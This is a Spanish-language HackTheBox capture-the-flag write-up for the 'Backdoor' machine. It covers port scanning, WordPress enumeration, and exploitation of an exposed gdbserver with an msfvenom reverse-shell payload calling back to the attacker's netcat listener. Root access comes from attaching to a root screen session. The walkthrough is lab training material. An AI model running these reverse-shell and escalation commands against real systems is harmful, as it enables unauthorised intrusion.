Backdoor es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Backdoor 10.10.11.125 a /etc/hosts como backdoor.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# Nmap 7.92 scan initiated Wed Dec 29 11:59:58 2021 as: nmap -sV -sC -p- -oA enumeration/nmap2 10.10.11.125 Nmap scan report for backdoor.htb (10.10.11.125) Host is up (0.050s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA) | 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA) |_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-generator: WordPress 5.8.1 |_http-title: Backdoor – Real-Life 1337/tcp open waste? Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Dec 29 12:00:41 2021 -- 1 IP address (1 host up) scanned in 43.49 seconds |
Observamos varios puertos así que vamos a ver que podemos encontrar en cada uno de ellos.
Enumeracion
Ya se ve en la propia enumeración que hay un portal web con el cms wordpress y cuya versión es la 5.8.1, accedemos al portal y encontramos la siguiente pantalla
Vista ya la versión vamos a hacer varias enumeraciones a ver que podemos encontrar, como enumeración de directorios con gobuster
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ gobuster dir -u http://backdoor.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://backdoor.htb/ [+] Method: GET [+] Threads: 150 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/12/29 11:56:59 Starting gobuster in directory enumeration mode =============================================================== /wp-content (Status: 301) [Size: 317] [--> http://backdoor.htb/wp-content/] /wp-includes (Status: 301) [Size: 318] [--> http://backdoor.htb/wp-includes/] /wp-admin (Status: 301) [Size: 315] [--> http://backdoor.htb/wp-admin/] /server-status (Status: 403) [Size: 277] =============================================================== 2021/12/29 11:58:44 Finished =============================================================== |
Exploits disponibles
|
1 2 3 4 5 6 7 8 9 |
$ searchsploit Wordpress 5.8.1 --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities | php/webapps/39553.txt WordPress Plugin iThemes Security < 7.0.3 - SQL Injection | php/webapps/44943.txt WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection | php/webapps/48918.sh --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results |
O escaneo con la tool wpscan
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 |
$ wpscan --url http://backdoor.htb --api-token sxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.20 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://backdoor.htb/ [10.10.11.125] [+] Started: Wed Dec 29 12:04:37 2021 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.41 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://backdoor.htb/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://backdoor.htb/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://backdoor.htb/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://backdoor.htb/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.8.1 identified (Insecure, released on 2021-09-09). | Found By: Rss Generator (Passive Detection) | - http://backdoor.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.8.1</generator> | - http://backdoor.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.8.1</generator> | | [!] 1 vulnerability identified: | | [!] Title: WordPress < 5.8.2 - Expired DST Root CA X3 Certificate | Fixed in: 5.8.2 | References: | - https://wpscan.com/vulnerability/cc23344a-5c91-414a-91e3-c46db614da8d | - https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/ | - https://core.trac.wordpress.org/ticket/54207 [+] WordPress theme in use: twentyseventeen | Location: http://backdoor.htb/wp-content/themes/twentyseventeen/ | Latest Version: 2.8 (up to date) | Last Updated: 2021-07-22T00:00:00.000Z | Readme: http://backdoor.htb/wp-content/themes/twentyseventeen/readme.txt | Style URL: http://backdoor.htb/wp-content/themes/twentyseventeen/style.css?ver=20201208 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 2.8 (80% confidence) | Found By: Style (Passive Detection) | - http://backdoor.htb/wp-content/themes/twentyseventeen/style.css?ver=20201208, Match: 'Version: 2.8' [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:01 <============================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:01 [i] No Config Backups Found. [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 2 | Requests Remaining: 23 [+] Finished: Wed Dec 29 12:04:46 2021 [+] Requests Done: 175 [+] Cached Requests: 5 [+] Data Sent: 44.419 KB [+] Data Received: 518.888 KB [+] Memory used: 241.133 MB [+] Elapsed time: 00:00:09 |
Revisando y buscando en google vemos alguna opción pero nada relevante en este punto así que pasamos a revisar el puerto 1337 correspondiente a gdbserver y encontramos un exploit en python para explotar el mismo y conseguir acceso a la máquina.
Así que siguiendo la ayuda del exploit:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ python3 gdbexploit.py -h Usage: python3 gdbexploit.py <gdbserver-ip:port> <path-to-shellcode> Example: - Victim's gdbserver -> 10.10.10.200:1337 - Attacker's listener -> 10.10.10.100:4444 1. Generate shellcode with msfvenom: $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin 2. Listen with Netcat: $ nc -nlvp 4444 3. Run the exploit: $ python3 gdbexploit.py 10.10.10.200:1337 rev.bin |
En primer lugar generaremos nuestra shellcode
|
1 2 3 4 5 6 |
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=4444 PrependFork=true -o rev.bin [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 92 bytes Saved as: rev.bin |
Levantamos nuestra escucha con netcat y lanzamos el exploit
|
1 2 3 4 5 |
$ python3 gdbexploit.py 10.10.11.125:1337 ../payloads/rev.bin [+] Connected to target. Preparing exploit [+] Found x64 arch [+] Sending payload [*] Pwned!! Check your listener |
Y obtendremos acceso con el usuario user en la máquina
|
1 2 3 4 5 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.6] from backdoor.htb [10.10.11.125] 56906 id uid=1000(user) gid=1000(user) groups=1000(user) |
Obteniendo la flag de user
Ahora que ya tenemos acceso, obtenemos una shell con python y cogemos nuestra flag
|
1 2 3 4 5 6 7 8 |
user@Backdoor:/home/user$ ls -l ls -l total 4 -rw-r----- 1 root user 33 Dec 29 10:57 user.txt user@Backdoor:/home/user$ cat user.txt cat user.txt 7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9 user@Backdoor:/home/user$ |
Escalado de privilegios
Para escalar privilegios revisamos los ficheros existentes, permisos, procesos, etc… y encontramos un proceso interesante con pspy
|
1 2 3 |
user@Backdoor:/home/user$ ps aux|grep screen ps aux|grep screen root 859 0.0 0.0 2608 1600 ? Ss 10:57 0:00 /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done |
El cual además se ejecuta cada cierto tiempo mediante un cron como root, por lo que puede ser una opción.
Tratamos de ejecutar el mismo y nos da un error debido a que no tenemos definido ningún tipo de terminal a utilizar
|
1 2 3 |
user@Backdoor:/home/user$ screen screen Please set a terminal type. |
Así que exportamos la variable TERM con un tipo de terminal
|
1 2 |
user@Backdoor:/home/user$ export TERM=xterm export TERM=xterm |
Y lanzamos screen accediendo a un screen, previamente creado, del usuario root y cuyo nombre del screen es también root para conseguir escalar al mismo
|
1 2 3 4 |
user@Backdoor:/home/user$ screen -x root/root root@Backdoor:~# id id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Ahora que ya somos root sólo nos queda obtener nuestra flag
|
1 2 3 4 5 6 7 8 |
root@Backdoor:~# ls -l ls -l total 4 -rw-r--r-- 1 root root 33 Dec 29 10:57 root.txt root@Backdoor:~# cat root.txt cat root.txt 9xxxxxxxxxxxxxxxxxxxxxxxxxxxx0 root@Backdoor:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
